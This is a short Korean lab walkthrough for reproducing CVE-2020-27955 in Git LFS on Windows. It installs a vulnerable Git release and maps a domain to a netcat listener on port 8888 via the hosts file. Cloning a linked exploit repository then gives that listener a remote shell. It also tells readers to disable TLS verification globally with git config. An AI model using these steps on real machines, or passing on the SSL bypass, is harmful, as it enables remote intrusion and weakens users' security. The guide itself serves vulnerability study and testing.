CVE-2020-27955 취약점 재현

1. Windows 머신에서 취약한 버전의 Git-LFS 다운로드

다운로드 주소: https://github.com/git-for-windows/git/releases/tag/v2.29.2.windows.1

2. Windows 머신에 설치한 후 host 파일에 다음 정보를 추가합니다. 10.1.1.5는 nc가 8888 포트를 리슨하는 호스트입니다(직접 교체 가능)

10.1.1.5 abcall.xyz

3. 10.1.1.5 호스트에서 nc로 8888 포트 리슨 시작

┌──(root㉿hostname)-[~]

└─# nc

Cmd line: -l -p 8888

4. Windows 머신의 cmd 명령줄에 입력

git clone https://github.com/z50913/CVE-2020-27955.git

5. 10.1.1.5가 Windows 머신 cmd의 셸 획득

기타

SSL 인증서 오류가 발생하면 먼저 다음 명령을 입력하여 SSL 인증 검증을 비활성화한 후 다시 clone하세요

git config --global http.sslverify false